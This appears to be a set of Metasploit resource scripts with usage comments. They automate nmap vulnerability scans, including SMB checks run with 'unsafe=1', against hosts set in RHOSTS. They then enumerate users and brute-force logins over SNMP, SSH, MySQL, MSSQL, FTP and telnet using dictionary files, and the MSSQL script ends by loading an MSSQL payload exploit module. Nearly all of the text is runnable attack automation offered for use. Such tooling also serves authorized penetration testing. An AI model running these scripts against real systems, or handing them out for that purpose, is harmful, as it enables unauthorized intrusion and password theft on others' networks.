[ scanner.rc ] common-services -> scannner/exploiter

# The following resource file (scanner.rc) requires the user to set Rhosts globally
# using: setg RHOSTS 192.168.1.68 (ip target) before launching the resource file,
# and it uses the commando 'db_nmap' to save the scan done in metasploit database.
# the tag <ruby> use nmap to scan by vulnerabilities in protocol smb and samba and
# will be stored in 'services' and 'vulns', after the </ruby> tag The resource file
# will use the results contained in the DB to run modules post-exploitation.
#
# befor lunch resource file:  msf > setg RHOSTS <target target target>
# run  resource file:  msf > resource scanner.rc
# unset global variable: msf > unsetg RHOSTS
# clean msf database: msf > hosts -d


[scanner.rc]
-----------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -sU -sS -Pn -O -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
</ruby>
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
hosts
services
use auxiliary/scanner/snmp/snmp_login
show options
-----------------------------------------------------------------------------------------------------------------------



# The following resource file (scanner[multi].rc) requires the user to set Rhosts globally
# using: setg RHOSTS 192.168.1.68 (ip target) and USER_FILE (path-to-dicionary-file)
# before launching the resource file, it uses the commando 'db_nmap' to save the scans
# done in metasploit database. the tag <ruby> use nmap to scan by vulnerabilities in
# protocol: telnet | ssh | mysql |mssql | pop3 | ftp | after the </ruby> tag The
# resource file will use the results contained in the DB to run auxiliary modules.
#
# befor lunch resource file:  msf > setg RHOSTS <target target target>
# befor lunch resource file:  msf > setg USER_FILE /root/brute-force.txt
# run  resource file:  msf > resource scanner[multi].rc
# unset global variable: msf > unsetg RHOSTS
# unset global variable: msf > unsetg USER_FILE
# clean msf database: msf > hosts -d


[scanner[multi].rc]
-----------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -T3 -sS -Pn --script vuln,banner.nse,smb-check-vulns.nse,dns-brute.nse,ssh-hostkey.nse,ip-geolocation-geoplugin.nse --open --reason -p 21,22,23,995,1433,3306,5432 #{framework.datastore['RHOSTS']}")
</ruby>

use auxiliary/scanner/telnet/telnet_version
run
use auxiliary/scanner/mysql/mysql_version
run
use auxiliary/scanner/pop3/pop3_version
run
use auxiliary/scanner/ftp/ftp_version
run
use auxiliary/scanner/ftp/anonymous
run
use auxiliary/scanner/ssh/ssh_version
run
use auxiliary/scanner/ssh/ssh_enumusers
run
use auxiliary/scanner/mssql/mssql_ping
run
hosts
services
creds
-----------------------------------------------------------------------------------------------------------------------



# The following resource file (scanner[ms-sql].rc) requires the user to set Rhosts globally
# using: setg RHOSTS 192.168.1.68 (ip target) and PASS_FILE (path-to-dicionary-file)
# before launching the resource file, it uses the commando 'db_nmap' to save the scans
# done in metasploit database. the tag <ruby> use nmap to scan by vulnerabilities in
# protocol:| mssql | and try to exploit using nmap, after the </ruby> tag The
# resource file will use the results contained in the DB to run auxiliary modules.
#
# befor lunch resource file:  msf > setg RHOSTS <target target target>
# befor lunch resource file:  msf > setg MSSQL_PASS_FILE /root/brute.txt
# run  resource file:  msf > resource scanner[ms-sql].rc
# unset global variable: msf > unsetg RHOSTS
# unset global variable: msf > unsetg MSSQL_PASS_FILE
# clean msf database: msf > hosts -d


[scanner[ms-sql].rc]
-----------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -T3 -sS -O -Pn --script vuln,ms-sql-info.nse,ms-sql-empty-password.nse,broadcast-ms-sql-discover.nse,ip-geolocation-geoplugin.nse --open --reason -p 1433 #{framework.datastore['RHOSTS']}")
run_single("db_nmap --script ms-sql-brute.nse --script-args userdb=brute.txt,passdb=brute.txt -p 1433 #{framework.datastore['RHOSTS']}")
</ruby>
use auxiliary/scanner/mssql/mssql_ping
run
use auxiliary/scanner/mssql/mssql_login
run
hosts
services
use exploit/windows/mssql/mssql_payload
show options

-----------------------------------------------------------------------------------------------------------------------

# The following resource file (scanner[ssh].rc) requires the user to set Rhosts globally
# using: setg RHOSTS 192.168.1.68 (ip target) and USERPASS_FILE (path-to-dicionary-file)
# before launching the resource file, it uses the commando 'db_nmap' to save the scans
# done in metasploit database. the tag <ruby> use nmap to scan by vulnerabilities in
# protocol:| ssh | and try to exploit using nmap, after the </ruby> tag The
# resource file will use the results contained in the DB to run auxiliary modules.
#
# befor lunch resource file:  msf > setg RHOSTS <target target target>
# befor lunch resource file:  msf > setg USER_FILE /root/brute.txt
# befor lunch resource file:  msf > setg USERPASS_FILE /root/brute.txt
# run  resource file:  msf > resource scanner[ssh].rc
# unset global variable: msf > unsetg RHOSTS
# unset global variable: msf > unsetg USER_FILE
# unset global variable: msf > unsetg USERPASS_FILE
# clean msf database: msf > hosts -d


[scanner[ssh].rc]
-----------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -T3 -sS -Pn -O --script vuln,ssh-hostkey.nse,ssh2-enum-algos.nse,ip-geolocation-geoplugin.nse --open --reason -p 22 #{framework.datastore['RHOSTS']}")
</ruby>
use auxiliary/scanner/ssh/ssh_version
run
use auxiliary/scanner/ssh/ssh_enumusers
run
hosts
services
use auxiliary/scanner/ssh/ssh_login
show options
-----------------------------------------------------------------------------------------------------------------------

# The following resource file (scanner[mysql].rc) requires the user to set Rhosts globally
# using: setg RHOSTS 192.168.1.68 (ip target) and PASS_FILE and USER_FILE (path-to-dicionary-file)
# before launching the resource file, it uses the commando 'db_nmap' to save the scans
# done in metasploit database. the tag <ruby> use nmap to scan by vulnerabilities in
# protocol:| mysql | and try to exploit using nmap, after the </ruby> tag The
# resource file will use the results contained in the DB to run auxiliary modules.
#
# befor lunch resource file:  msf > setg RHOSTS <target target target>
# befor lunch resource file:  msf > setg USER_FILE /root/brute.txt
# befor lunch resource file:  msf > setg PASS_FILE /root/brute.txt
# run  resource file:  msf > resource scanner[mysql].rc
# unset global variable: msf > unsetg RHOSTS
# unset global variable: msf > unsetg USER_FILE
# unset global variable: msf > unsetg PASS_FILE
# clean msf database: msf > hosts -d


[scanner[mysql].rc]
-----------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -T3 -sS -Pn -O --script vuln,mysql-info.nse,mysql-enum.nse,mysql-empty-password.nse,ip-geolocation-geoplugin.nse --open --reason -p 3306 #{framework.datastore['RHOSTS']}")
</ruby>
use auxiliary/scanner/mysql/mysql_version
run
use auxiliary/scanner/mysql/mysql_login
run
hosts
services
use auxiliary/admin/mysql/mysql_enum
show options
-----------------------------------------------------------------------------------------------------------------------